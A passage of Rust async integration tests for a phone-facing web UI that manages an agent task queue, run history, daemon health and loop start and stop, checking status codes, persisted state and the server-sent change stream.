5593 async fn talks_never_appear_in_the_planning_chat_list() {
5594 let (_tmp, _repo, f) = talk_fixture().await;
5595
5596 let opened = f.post("/api/talks", None).await;
5597 assert_eq!(opened.status, 201, "{}", opened.body);
5598
5599 let chats = f.get("/api/chats").await.json();
5600 assert!(
5601 chats.as_array().unwrap().is_empty(),
5602 "a talk must never surface as a planning chat: {chats}"
5603 );
5604 let talks = f.get("/api/talks").await.json();
5605 assert_eq!(talks.as_array().unwrap().len(), 1);
5606 }
5607
5608 #[tokio::test]
5609 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
5610 let f = Fixture::start().await;
5611 let queue = f.queue();
5612 let mut task = Task::new(
5613 "spent".to_owned(),
5614 "Try again".to_owned(),
5615 PathBuf::from("/repo/magi"),
5616 Source::Human,
5617 );
5618 task.start("20260902-140502-bbbb".to_owned());
5619 task.fail("agent gave up", 9);
5620 queue.put(&mut task).expect("file the task");
5621
5622 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
5623 assert_eq!(held.status, 200);
5624 assert_eq!(held.json()["status_str"], "held");
5625
5626 let released = f
5627 .post(&format!("/api/queue/{}/release", task.id), None)
5628 .await;
5629 assert_eq!(released.status, 200);
5630 assert_eq!(released.json()["status_str"], "queued");
5631 assert_eq!(
5632 released.json()["attempts"],
5633 0,
5634 "release is a real second chance, not an instant re-hold"
5635 );
5636 assert_eq!(
5637 queue.get(&task.id).expect("reload").status,
5638 TaskStatus::Queued,
5639 "the change is on disk, not only in the reply"
5640 );
5641 assert!(
5642 !f.home
5643 .path()
5644 .join("queue")
5645 .join(format!("{}.lock", task.id))
5646 .exists(),
5647 "the claim the mutation took is released again"
5648 );
5649 }
5650
5651 #[tokio::test]
5652 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
5653 let f = Fixture::start().await;
5654 let queue = f.queue();
5655 let mut task = Task::new(
5656 "busy".to_owned(),
5657 "Running right now".to_owned(),
5658 PathBuf::from("/repo/magi"),
5659 Source::Human,
5660 );
5661 queue.put(&mut task).expect("file the task");
5662 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
5663
5664 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
5665
5666 assert_eq!(res.status, 409);
5667 assert_eq!(
5668 queue.get(&task.id).expect("reload").status,
5669 TaskStatus::Queued,
5670 "the refused hold changed nothing"
5671 );
5672 }
5673
5674 #[tokio::test]
5675 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
5676 let f = Fixture::start().await;
5677 let queue = f.queue();
5678 let mut task = Task::new(
5679 "waiting on the migration".to_owned(),
5680 "Do the thing".to_owned(),
5681 PathBuf::from("/repo/magi"),
5682 Source::Human,
5683 );
5684 queue.put(&mut task).expect("file the task");
5685
5686 let held = f
5687 .post(
5688 &format!("/api/queue/{}/hold", task.id),
5689 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
5690 )
5691 .await;
5692 assert_eq!(held.status, 200, "{}", held.body);
5693 assert_eq!(held.json()["status_str"], "held");
5694 assert_eq!(
5695 held.json()["hold_reason"],
5696 "waiting for 20260101-000000-aaaa to land"
5697 );
5698
5699 let listed = f.get("/api/queue").await.json();
5700 assert_eq!(
5701 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
5702 "the card reads the reason off the same list route"
5703 );
5704
5705 let mut plain = Task::new(
5708 "no reason given".to_owned(),
5709 "Do another thing".to_owned(),
5710 PathBuf::from("/repo/magi"),
5711 Source::Human,
5712 );
5713 queue.put(&mut plain).expect("file the task");
5714 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
5715 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
5716 assert!(held_plain.json()["hold_reason"].is_null());
5717
5718 let released = f
5719 .post(&format!("/api/queue/{}/release", task.id), None)
5720 .await;
5721 assert_eq!(released.status, 200);
5722 assert!(
5723 released.json()["hold_reason"].is_null(),
5724 "a release must clear the reason so the next hold does not inherit it"
5725 );
5726 }
5727
5728 #[tokio::test]
5729 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
5730 let f = Fixture::start().await;
5731 let queue = f.queue();
5732 let mut older = Task::new(
5733 "filed first".to_owned(),
5734 "x".to_owned(),
5735 PathBuf::from("/repo/magi"),
5736 Source::Human,
5737 );
5738 older.id = "20260101-000001-aaaa".to_owned();
5739 let mut newer = Task::new(
5740 "filed second".to_owned(),
5741 "x".to_owned(),
5742 PathBuf::from("/repo/magi"),
5743 Source::Human,
5744 );
5745 newer.id = "20260101-000002-bbbb".to_owned();
5746 queue.put(&mut older).expect("file older");
5747 queue.put(&mut newer).expect("file newer");
5748
5749 let before = f.get("/api/queue").await.json();
5752 assert_eq!(before[0]["id"], newer.id);
5753 assert_eq!(before[1]["id"], older.id);
5754
5755 let raised = f
5759 .post(
5760 &format!("/api/queue/{}/priority", older.id),
5761 Some(r#"{"priority":10}"#),
5762 )
5763 .await;
5764 assert_eq!(raised.status, 200, "{}", raised.body);
5765 assert_eq!(raised.json()["priority"], 10);
5766
5767 let after = f.get("/api/queue").await.json();
5768 let names: Vec<&str> = after
5769 .as_array()
5770 .unwrap()
5771 .iter()
5772 .map(|t| t["id"].as_str().unwrap())
5773 .collect();
5774 assert_eq!(names[0], older.id, "the raised task now sorts first");
5778 }
5779
5780 #[tokio::test]
5781 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
5782 let f = Fixture::start().await;
5783 let queue = f.queue();
5784 let mut task = Task::new(
5785 "in flight".to_owned(),
5786 "x".to_owned(),
5787 PathBuf::from("/repo/magi"),
5788 Source::Human,
5789 );
5790 task.start("20260902-140502-bbbb".to_owned());
5791 queue.put(&mut task).expect("file the task");
5792
5793 let res = f
5794 .post(
5795 &format!("/api/queue/{}/priority", task.id),
5796 Some(r#"{"priority":9}"#),
5797 )
5798 .await;
5799 assert_eq!(res.status, 400, "{}", res.body);
5800 assert!(
5801 res.json()["error"]
5802 .as_str()
5803 .is_some_and(|e| e.contains("running")),
5804 "{}",
5805 res.body
5806 );
5807 assert_eq!(
5808 queue.get(&task.id).expect("reload").priority,
5809 0,
5810 "the refused write must not partially apply"
5811 );
5812 }
5813
5814 #[tokio::test]
5815 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
5816 let f = Fixture::start().await;
5817 let queue = f.queue();
5818 let mut task = Task::new(
5819 "old title".to_owned(),
5820 "old instruction".to_owned(),
5821 PathBuf::from("/repo/magi"),
5822 Source::Agent {
5823 run: "20260101-000000-beef".to_owned(),
5824 node: "implement".to_owned(),
5825 },
5826 );
5827 task.runs.push("20260101-000000-beef".to_owned());
5828 queue.put(&mut task).expect("file the task");
5829 let created_at = task.created_at;
5830
5831 let edited = f
5832 .post(
5833 &format!("/api/queue/{}/edit", task.id),
5834 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
5835 )
5836 .await;
5837 assert_eq!(edited.status, 200, "{}", edited.body);
5838 let body = edited.json();
5839 assert_eq!(body["title"], "new title");
5840 assert_eq!(body["instruction"], "new instruction");
5841 assert_eq!(body["id"], task.id, "editing must not mint a new id");
5842 assert_eq!(body["created_at"], created_at.to_string());
5843 assert_eq!(
5844 body["source"]["kind"], "agent",
5845 "editing a task an agent filed must not turn it human: {body}"
5846 );
5847 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
5848
5849 let reloaded = queue.get(&task.id).expect("reload");
5850 assert_eq!(reloaded.title, "new title");
5851 assert_eq!(reloaded.instruction, "new instruction");
5852 }
5853
5854 #[tokio::test]
5855 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
5856 let f = Fixture::start().await;
5857 let queue = f.queue();
5858 let mut task = Task::new(
5859 "in flight".to_owned(),
5860 "do not touch".to_owned(),
5861 PathBuf::from("/repo/magi"),
5862 Source::Human,
5863 );
5864 task.start("20260902-140502-bbbb".to_owned());
5865 queue.put(&mut task).expect("file the task");
5866
5867 let res = f
5868 .post(
5869 &format!("/api/queue/{}/edit", task.id),
5870 Some(r#"{"title":"x","instruction":"y"}"#),
5871 )
5872 .await;
5873 assert_eq!(res.status, 400, "{}", res.body);
5874 assert!(
5875 res.json()["error"]
5876 .as_str()
5877 .is_some_and(|e| e.contains("running")),
5878 "{}",
5879 res.body
5880 );
5881 assert_eq!(
5882 queue.get(&task.id).expect("reload").instruction,
5883 "do not touch",
5884 "the refused edit must not change the file"
5885 );
5886 }
5887
5888 #[tokio::test]
5889 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
5890 let f = Fixture::start().await;
5891 let queue = f.queue();
5892 let mut task = Task::new(
5893 "busy".to_owned(),
5894 "Running right now".to_owned(),
5895 PathBuf::from("/repo/magi"),
5896 Source::Human,
5897 );
5898 queue.put(&mut task).expect("file the task");
5899 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
5900
5901 let priority = f
5902 .post(
5903 &format!("/api/queue/{}/priority", task.id),
5904 Some(r#"{"priority":9}"#),
5905 )
5906 .await;
5907 assert_eq!(priority.status, 409, "{}", priority.body);
5908
5909 let edit = f
5910 .post(
5911 &format!("/api/queue/{}/edit", task.id),
5912 Some(r#"{"title":"x","instruction":"y"}"#),
5913 )
5914 .await;
5915 assert_eq!(edit.status, 409, "{}", edit.body);
5916 }
5917
5918 #[tokio::test]
5919 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
5920 let f = Fixture::start().await;
5921 let queue = f.queue();
5922 let mut task = Task::new(
5923 "shipped by hand".to_owned(),
5924 "merged outside the loop".to_owned(),
5925 PathBuf::from("/repo/magi"),
5926 Source::Agent {
5927 run: "20260101-000000-b455".to_owned(),
5928 node: "implement".to_owned(),
5929 },
5930 );
5931 task.runs.push("20260101-000000-b455".to_owned());
5932 task.runs.push("20260101-000000-9af4".to_owned());
5933 queue.put(&mut task).expect("file the task");
5934 let created_at = task.created_at;
5935
5936 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
5937 assert_eq!(done.status, 200, "{}", done.body);
5938 assert_eq!(done.json()["status_str"], "done");
5939
5940 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
5941 assert_eq!(
5942 reloaded.runs,
5943 ["20260101-000000-b455", "20260101-000000-9af4"]
5944 );
5945 assert_eq!(
5946 reloaded.source,
5947 Source::Agent {
5948 run: "20260101-000000-b455".to_owned(),
5949 node: "implement".to_owned(),
5950 }
5951 );
5952 assert_eq!(reloaded.created_at, created_at);
5953 }
5954
5955 #[tokio::test]
5956 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
5957 let f = Fixture::start().await;
5962 let queue = f.queue();
5963 let mut task = Task::new(
5964 "landed while held".to_owned(),
5965 "x".to_owned(),
5966 PathBuf::from("/repo/magi"),
5967 Source::Human,
5968 );
5969 task.hold(Some("waiting on 3ed9".to_owned()));
5970 queue.put(&mut task).expect("file the held task");
5971
5972 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
5973 assert_eq!(done.status, 200, "{}", done.body);
5974 assert_eq!(done.json()["status_str"], "done");
5975 assert!(
5976 done.json()["hold_reason"].is_null(),
5977 "a done task cannot still be waiting on something: {}",
5978 done.body
5979 );
5980 }
5981
5982 #[tokio::test]
5983 async fn unknown_ids_are_json_not_found_on_both_stores() {
5984 let f = Fixture::start().await;
5985
5986 let run = f.get("/api/runs/nosuchrun").await;
5987 let task = f.post("/api/queue/nosuchtask/hold", None).await;
5988
5989 assert_eq!(run.status, 404);
5990 assert_eq!(task.status, 404);
5991 assert!(
5992 run.json()["error"]
5993 .as_str()
5994 .is_some_and(|e| e.contains("run")),
5995 "the error names what was not found: {}",
5996 run.body
5997 );
5998 assert!(
5999 task.json()["error"]
6000 .as_str()
6001 .is_some_and(|e| e.contains("task")),
6002 "the error names what was not found: {}",
6003 task.body
6004 );
6005 }
6006
6007 #[tokio::test]
6008 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
6009 let f = Fixture::start().await;
6010
6011 let missing = f.get("/api/health").await.json();
6012 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
6013
6014 write_daemon(
6015 f.home.path(),
6016 Timestamp::now() - jiff::SignedDuration::from_secs(60),
6017 );
6018 let stale = f.get("/api/health").await.json();
6019 assert_eq!(
6020 stale["daemon"]["running"], false,
6021 "a minute without a heartbeat is a dead daemon, not a busy one"
6022 );
6023 assert!(
6024 stale["daemon"]["stale_for_secs"]
6025 .as_i64()
6026 .is_some_and(|s| s >= 55),
6027 "staleness is reported so the UI can say how long: {stale}"
6028 );
6029
6030 write_daemon(f.home.path(), Timestamp::now());
6031 let fresh = f.get("/api/health").await.json();
6032 assert_eq!(fresh["daemon"]["running"], true);
6033 assert_eq!(fresh["daemon"]["idle"], false);
6034 assert_eq!(fresh["daemon"]["pid"], 4242);
6035 assert_eq!(fresh["daemon"]["completed"], 7);
6036 assert_eq!(
6037 fresh["daemon"]["current"][0]["task"],
6038 "20260902-140501-aaaa"
6039 );
6040 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
6041 }
6042
6043 #[tokio::test]
6044 async fn the_loop_is_not_running_until_something_starts_it() {
6045 let f = Fixture::start().await;
6046
6047 let view = f.get("/api/loop").await.json();
6048 assert_eq!(view["running"], false);
6049 assert_eq!(
6050 view["owned"], false,
6051 "nobody owns a loop that does not exist: {view}"
6052 );
6053 assert_eq!(view["stopping"], false);
6054 assert_eq!(view["last_error"], Value::Null);
6055 assert_eq!(view["daemon"]["running"], false);
6056 assert_eq!(
6057 view["repo"], "/repo/magi",
6058 "the repository a start would use, named before it is started"
6059 );
6060 }
6061
6062 #[tokio::test]
6063 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
6064 let f = Fixture::start().await;
6065
6066 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6067 assert_eq!(res.status, 200, "{}", res.body);
6068 let view = res.json();
6069 assert_eq!(view["running"], true);
6070 assert_eq!(
6071 view["owned"], true,
6072 "the loop the UI started is the UI's own to stop: {view}"
6073 );
6074 assert_eq!(
6075 view["merge"],
6076 Value::Null,
6077 "no override was given, so each repository's own config decides"
6078 );
6079
6080 let health = f.get("/api/health").await.json();
6084 assert_eq!(health["loop"]["running"], true, "{health}");
6085 assert_eq!(health["loop"]["owned"], true, "{health}");
6086
6087 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6088 }
6089
6090 #[tokio::test]
6091 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
6092 let f = Fixture::start().await;
6093 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6094 assert_eq!(first.status, 200, "{}", first.body);
6095
6096 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6097 assert_eq!(
6098 again.status, 409,
6099 "two loops on one queue race for the same claims: {}",
6100 again.body
6101 );
6102 assert!(
6103 again.json()["error"]
6104 .as_str()
6105 .is_some_and(|e| e.contains("already running the loop")),
6106 "the refusal has to say why: {}",
6107 again.body
6108 );
6109 assert_eq!(
6110 f.get("/api/loop").await.json()["running"],
6111 true,
6112 "and the loop that was already running is untouched by it"
6113 );
6114
6115 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6116 }
6117
6118 #[tokio::test]
6119 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
6120 let f = Fixture::start().await;
6121 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6122
6123 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6124 assert_eq!(
6125 res.status, 200,
6126 "the answer must not wait for the loop: a run in flight is tens of \
6127 minutes and the operator is holding a phone: {}",
6128 res.body
6129 );
6130
6131 let view = settled(&f, |v| v["running"] == false).await;
6132 assert_eq!(view["owned"], false);
6133 assert_eq!(
6134 view["stopping"], false,
6135 "a loop that has stopped is not still stopping: {view}"
6136 );
6137 assert_eq!(
6138 view["last_error"],
6139 Value::Null,
6140 "a loop that was asked to stop did not fail: {view}"
6141 );
6142
6143 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6146 assert_eq!(twice.status, 200, "{}", twice.body);
6147 }
6148
6149 #[tokio::test]
6150 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
6151 let f = Fixture::start().await;
6152 write_daemon(f.home.path(), Timestamp::now());
6155
6156 let view = f.get("/api/loop").await.json();
6157 assert_eq!(view["running"], false, "not in this process: {view}");
6158 assert_eq!(view["owned"], false, "and not this process's to control");
6159 assert_eq!(
6160 view["daemon"]["running"], true,
6161 "but a loop is alive somewhere, which is what the UI must say"
6162 );
6163 assert_eq!(view["daemon"]["pid"], 4242);
6164
6165 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
6166 let res = f.post("/api/loop", Some(body)).await;
6167 assert_eq!(
6168 res.status, 409,
6169 "neither button may pretend to work on someone else's loop: {}",
6170 res.body
6171 );
6172 assert!(
6173 res.json()["error"]
6174 .as_str()
6175 .is_some_and(|e| e.contains("4242")),
6176 "the refusal has to name the process the operator must go to: {}",
6177 res.body
6178 );
6179 }
6180 assert_eq!(
6181 f.get("/api/loop").await.json()["running"],
6182 false,
6183 "and the refusal started nothing"
6184 );
6185 }
6186
6187 #[tokio::test]
6188 async fn a_stale_status_file_is_not_a_foreign_owner() {
6189 let f = Fixture::start().await;
6190 write_daemon(
6191 f.home.path(),
6192 Timestamp::now() - jiff::SignedDuration::from_secs(60),
6193 );
6194
6195 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6196 assert_eq!(
6197 res.status, 200,
6198 "a daemon killed a minute ago must not lock the loop out of its \
6199 own home for good: {}",
6200 res.body
6201 );
6202 assert_eq!(res.json()["running"], true);
6203
6204 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6205 }
6206
6207 #[tokio::test]
6208 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
6209 let f = Fixture::start().await;
6210 let before = f.get("/api/health").await.json()["loop_rev"]
6211 .as_u64()
6212 .expect("a loop revision");
6213
6214 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6215
6216 let after = f.get("/api/health").await.json()["loop_rev"]
6217 .as_u64()
6218 .expect("a loop revision");
6219 assert!(
6220 after > before,
6221 "the loop is in-process state, so this counter is the only thing \
6222 that tells a second device the first one started it: {before} -> \
6223 {after}"
6224 );
6225
6226 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
6227 }
6228
6229 #[tokio::test]
6230 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
6231 let f = Fixture::with_loop(launch_broken).await;
6232
6233 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6234 assert_eq!(
6235 res.status, 200,
6236 "starting it is not the failure: {}",
6237 res.body
6238 );
6239
6240 let view = settled(&f, |v| v["last_error"].is_string()).await;
6241 assert_eq!(
6242 view["running"], false,
6243 "a loop that died must not read as running, or the operator has \
6244 nothing to press: {view}"
6245 );
6246 assert_eq!(view["owned"], false);
6247 assert!(
6248 view["last_error"]
6249 .as_str()
6250 .is_some_and(|e| e.contains("read-only file system")),
6251 "the phone is where a loop that died at 3am is visible: {view}"
6252 );
6253
6254 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
6257 assert_eq!(again.status, 200, "{}", again.body);
6258 assert_eq!(
6259 again.json()["last_error"],
6260 Value::Null,
6261 "a fresh start does not keep showing why the last one died"
6262 );
6263 }
6264
6265 #[tokio::test]
6277 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
6278 let home = TempDir::new().expect("temp home");
6279 let runs = home.path().join("runs");
6280 std::fs::create_dir_all(&runs).expect("runs dir");
6281 let ui = Ui::new(
6282 Queue::at(home.path().join("queue")),
6283 Questions::at(home.path().join("questions")),
6284 Chats::at(home.path().join("chats")),
6285 Talks::at(home.path().join("talks")),
6286 runs,
6287 home.path().to_path_buf(),
6288 PathBuf::from("/repo/magi"),
6289 )
6290 .with_worktrees_root(home.path().join("wt"))
6291 .with_launch(launch_knocking_on_the_way_out);
6292 let looping = ui.looping();
6293 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6294 .await
6295 .expect("bind loopback");
6296 let addr = listener.local_addr().expect("local addr");
6297 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
6298 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
6299
6300 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
6301 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
6302
6303 let bound = std::sync::Mutex::new(None);
6306 hand_over(home.path(), &looping, served, || {
6307 let attempt = std::net::TcpListener::bind(addr).map_err(|e| e.to_string());
6308 *bound.lock().expect("bound") = Some(attempt);
6309 Ok(())
6310 })
6311 .await
6312 .expect("hand over");
6313
6314 assert_eq!(
6315 *PARK_HEARD.lock().expect("park heard"),
6316 Some(200),
6317 "the deck must answer while the loop is parking"
6318 );
6319 let attempt = bound
6320 .lock()
6321 .expect("bound")
6322 .take()
6323 .expect("the successor was started");
6324 assert!(
6325 attempt.is_ok(),
6326 "and the address must be free by the time it is: {attempt:?}"
6327 );
6328 }
6329
6330 #[tokio::test]
6331 async fn a_newer_daemon_status_file_still_renders() {
6332 let f = Fixture::start().await;
6333 std::fs::write(
6336 f.home.path().join("daemon.json"),
6337 serde_json::json!({
6338 "schema": 2,
6339 "updated_at": Timestamp::now().to_string(),
6340 "idle": true,
6341 "surprise": { "nested": [1, 2, 3] },
6342 })
6343 .to_string(),
6344 )
6345 .expect("write daemon.json");
6346
6347 let health = f.get("/api/health").await;
6348
6349 assert_eq!(health.status, 200);
6350 assert_eq!(health.json()["daemon"]["running"], true);
6351 }
6352
6353 #[tokio::test]
6354 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
6355 let f = Fixture::start().await;
6356 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
6357 let broken = f.runs().join("20260902-140502-bad");
6358 std::fs::create_dir_all(&broken).expect("run dir");
6359 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
6360
6361 let list = f.get("/api/runs").await;
6362 let detail = f.get("/api/runs/20260902-140502-bad").await;
6363
6364 assert_eq!(list.status, 200);
6365 let listed = list.json();
6366 let ids: Vec<&str> = listed
6367 .as_array()
6368 .expect("an array")
6369 .iter()
6370 .map(|r| r["id"].as_str().expect("an id"))
6371 .collect();
6372 assert_eq!(
6373 ids,
6374 vec!["20260902-140501-good"],
6375 "one unreadable run must not cost the operator the whole history"
6376 );
6377 assert_eq!(detail.status, 500);
6378 assert!(
6379 detail.json()["error"]
6380 .as_str()
6381 .is_some_and(|e| e.contains("run.json")),
6382 "the failure names the file to look at: {}",
6383 detail.body
6384 );
6385 let health = f.get("/api/health").await;
6389 assert_eq!(health.json()["runs_unreadable"], 1);
6390 }
6391
6392 #[tokio::test]
6393 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
6394 let f = Fixture::start().await;
6395 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
6396
6397 let summary = f.get("/api/runs").await.json();
6398 let row = &summary[0];
6399 assert_eq!(row["short"], "a1b2");
6400 assert_eq!(row["status"], "ready");
6401 assert_eq!(row["done"], true);
6402 assert_eq!(row["title"], "Add a web UI");
6403 assert_eq!(row["repo_name"], "magi");
6404 assert_eq!(row["judges"], 3);
6405 assert_eq!(row["winner"], Value::Null);
6406 assert_eq!(row["reviews"], 0);
6407
6408 let detail = f.get("/api/runs/a1b2").await;
6411 assert_eq!(detail.status, 200);
6412 assert_eq!(detail.json()["base_branch"], "main");
6413 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
6414 }
6415
6416 #[tokio::test]
6421 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
6422 let f = Fixture::start().await;
6423 let id = "20260902-140502-bbbb";
6427 let mut state = RunState::new(
6428 PathBuf::from("/repo/magi"),
6429 "main".to_owned(),
6430 "0123456789abcdef".to_owned(),
6431 "Add a web UI".to_owned(),
6432 Config::default(),
6433 );
6434 state.id = id.to_owned();
6435 state.status = RunStatus::Judging;
6436 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
6437 let dir = f.runs().join(id);
6438 std::fs::create_dir_all(&dir).expect("run dir");
6439 std::fs::write(
6440 dir.join("run.json"),
6441 serde_json::to_string_pretty(&state).expect("serialize run"),
6442 )
6443 .expect("write run.json");
6444
6445 let cold = f.get(&format!("/api/runs/{id}")).await.json();
6448 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
6449 assert_eq!(cold["live"], false, "{cold}");
6450
6451 write_daemon(f.home.path(), Timestamp::now());
6454 let warm = f.get(&format!("/api/runs/{id}")).await.json();
6455 assert_eq!(warm["live"], true, "{warm}");
6456 }
6457
6458 #[tokio::test]
6459 async fn the_run_list_is_newest_first_and_honours_a_limit() {
6460 let f = Fixture::start().await;
6461 for id in [
6462 "20260902-140501-aaaa",
6463 "20260902-140502-bbbb",
6464 "20260902-140503-cccc",
6465 ] {
6466 write_run(&f.runs(), id, RunStatus::Merged);
6467 }
6468
6469 let all = f.get("/api/runs").await.json();
6470 let capped = f.get("/api/runs?limit=2").await.json();
6471
6472 assert_eq!(all[0]["id"], "20260902-140503-cccc");
6473 assert_eq!(all.as_array().map(Vec::len), Some(3));
6474 assert_eq!(capped.as_array().map(Vec::len), Some(2));
6475 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
6476 }
6477
6478 #[tokio::test]
6479 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
6480 let f = Fixture::start().await;
6481 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
6482
6483 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
6484
6485 assert_eq!(res.status, 200);
6486 assert!(
6487 res.headers
6488 .contains("content-type: text/plain; charset=utf-8"),
6489 "a browser must render it, not download it: {}",
6490 res.headers
6491 );
6492 assert!(
6496 res.body.contains("20260902-140501-a1b2"),
6497 "the report is about the run that was asked for: {}",
6498 res.body
6499 );
6500 }
6501
6502 #[tokio::test]
6503 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
6504 let f = Fixture::start().await;
6505
6506 let html = f.get("/").await;
6507 let css = f.get("/app.css").await;
6508 let js = f.get("/app.js").await;
6509
6510 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
6511 assert!(
6512 html.headers
6513 .contains("content-type: text/html; charset=utf-8")
6514 );
6515 assert!(css.headers.contains("content-type: text/css"));
6516 assert!(js.headers.contains("content-type: text/javascript"));
6517 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
6518 }
6519
6520 #[tokio::test]
6521 async fn the_change_stream_announces_the_current_revisions_on_connect() {
6522 let f = Fixture::start().await;
6523
6524 let mut socket = tokio::net::TcpStream::connect(f.addr)
6525 .await
6526 .expect("connect");
6527 socket
6528 .write_all(
6529 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
6530 )
6531 .await
6532 .expect("write request");
6533
6534 let mut seen = String::new();
6537 let mut buf = [0u8; 1024];
6538 while !seen.contains("event: change") {
6539 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
6540 .await
6541 .expect("the stream must speak within five seconds")
6542 .expect("read");
6543 assert!(read > 0, "the server closed the change stream: {seen}");
6544 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
6545 }
6546
6547 assert!(
6548 seen.to_lowercase()
6549 .contains("content-type: text/event-stream"),
6550 "the browser only reconnects automatically for a real SSE stream: {seen}"
6551 );
6552 let data = seen
6553 .lines()
6554 .find_map(|l| l.strip_prefix("data:"))
6555 .expect("a data line");
6556 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
6557 assert!(
6558 payload["queue_rev"].is_u64()
6559 && payload["runs_rev"].is_u64()
6560 && payload["questions_rev"].is_u64()
6561 && payload["chats_rev"].is_u64()
6562 && payload["talks_rev"].is_u64()
6563 && payload["loop_rev"].is_u64(),
6564 "the client needs one revision per store to know what to refetch, \
6565 and `chats_rev` / `talks_rev` are the only notification a slow \
6566 interview or a standing talk get - a phone whose radio slept \
6567 through a turn learns about it here, as does one whose operator \
6568 started the loop from another device: {payload}"
6569 );
6570
6571 let health = f.get("/api/health").await.json();
6578 for key in [
6579 "queue_rev",
6580 "runs_rev",
6581 "questions_rev",
6582 "chats_rev",
6583 "talks_rev",
6584 "loop_rev",
6585 ] {
6586 assert!(
6587 health[key].is_u64(),
6588 "health is the change stream's fallback and is missing `{key}`: {health}"
6589 );
6590 }
6591 }
6592
6593 #[tokio::test]
6594 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
6595 let f = Fixture::start().await;
6596 let before = f.get("/api/health").await.json()["talks_rev"]
6597 .as_u64()
6598 .expect("talks_rev");
6599
6600 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
6601 std::thread::sleep(Duration::from_millis(10));
6602 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
6603 on_disk.turns.push(crate::talk::Turn {
6604 who: crate::talk::Who::Operator,
6605 body: "a new turn".to_owned(),
6606 at: Timestamp::now(),
6607 });
6608 f.talks().put(&mut on_disk).expect("record a turn");
6609
6610 let after = f.get("/api/health").await.json()["talks_rev"]
6611 .as_u64()
6612 .expect("talks_rev");
6613 assert_ne!(
6614 before, after,
6615 "a phone must be able to notice a talk's reply without polling every store"
6616 );
6617 }
6618
6619 #[test]
6620 fn bind_reads_back_from_the_spelling_the_cli_prints() {
6621 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
6625 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
6626 }
